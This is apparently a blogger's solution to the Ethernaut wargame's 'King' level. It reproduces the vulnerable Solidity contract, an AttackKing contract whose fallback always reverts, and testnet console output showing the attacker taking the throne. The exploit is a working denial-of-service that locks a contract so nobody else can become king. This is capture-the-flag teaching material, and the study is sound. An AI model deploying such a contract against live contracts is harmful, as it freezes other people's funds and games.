9. King /Ethernaut-Solution
July 7, 2022•721 words
9. King
https://www.kingoftheether.com/thrones/kingoftheether/index.html
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
//we have three instance
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable { //external payable is to send ether,
//Its gonna hit receive cuz that's what's going to catch it there is no fallback here, so receive gonna catch that.
require(msg.value >= prize || msg.sender == owner);
//we're going to call this fallback function and we're going to make sure that the value we put into this contract
//is greater than its current prize because we have to satisfy this requirement condition and provided we do
king.transfer(msg.value); //kingになりすましてtransfer //we wanna them to stop here right now
//will create a malicious contract
//it doesn't have a fallback function that can take the money of there's a problem in that fallback function in this contract
//this transaction that's calling this function here is going to fail
//this is going to break and that's exactly what we're trying to do here
//because we are trying to prevent anybody else from ever becoming king by paying money into this fallback funtion here
//so we want to stop here, A maricious contract that's going to have a malicious fallback function
//and when this transaction function gets called to send our malicious contract money, we're gonna blow up
//we'll be able to you know pass the line here
//send money to the current king and then we wil become king and msg.sender is going to be the address of the attack king smart contrat
king = msg.sender;
//As a result, the calling is not going to be able to this line here
//and as a result, we will always be king forever and ever
//that's what ended that ponzi game called king of ether which I showed you
prize = msg.value;
}
//the way that we're going to do this is we're going to create
function _king() public view returns (address payable) {
return king;
}
}
/AttackKing.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// we could not fallback function and then transaction that executed this function would fail
//and then this ponzi game would end forever because we would always be king and nobody would be able to pass king statement to get to this line to become the king
contract AttackKing {
constructor(address _king) public payable {//payable is exceed the prize limit //king had the prize limit of five and we wanted send six to
address(_king).call { value : msg.value }(""); //ここのやり方がnew way //we're putting these double quotes in here cuz inside of this call method when you're sending ether to someone,
//you need to include these parenthese and these double quotes which basically states that i'm not calling a specific function
//it's gonna be the first four bytes of a function that's hashed so we're not calling anything specific we're just sending in general with you know remaining gas
//that's usually going to fall under a fallback function for the contract we're sending it to
//or it's gonna hit a receive function which is going to receive the ether fallback so these two locations this is going to hit when we send it
}
//we're going to specify the fallback function
//king is gona be our address,the address of this attack king smart contract
//18:13
fallback() external payable {//functionじゃなくてfallback
revert('You lose!');
}
}
await contract.prize()
o {negative: 0, words: Array(3), length: 2, red: null}length: 2negative: 0red: nullwords: Array(3)0: 130088961: 14901161length: 3[[Prototype]]: Array(0)[[Prototype]]: Object
contract.address
'0xb88c9b391cC0564009b89AeDb53d83597212e07A'
- check the amount of wei of Ether (13008896)
await contract.prize()
o {negative: 0, words: Array(3), length: 2, red: null}
length: 2
negative: 0
red: null
words: (3) [13008896, 14901161, empty]
[[Prototype]]: Object
- check the currently contract address of king
await contract._king()
'0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
- and then deploy the contract address '0xb88c9b391cC0564009b89AeDb53d83597212e07A send over 13008896 wei
- check the change address of king!
await contract._king()
'0x56Be55B79aA365Afc81B8Ef43099e31Ec3a27094'
conclusion
Most of Ethernauts levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.
In this case, see: King of the Ether and King of the Ether Postmortem.
https://www.kingoftheether.com/thrones/kingoftheether/index.htmlhttp://www.kingoftheether.com/postmortem.html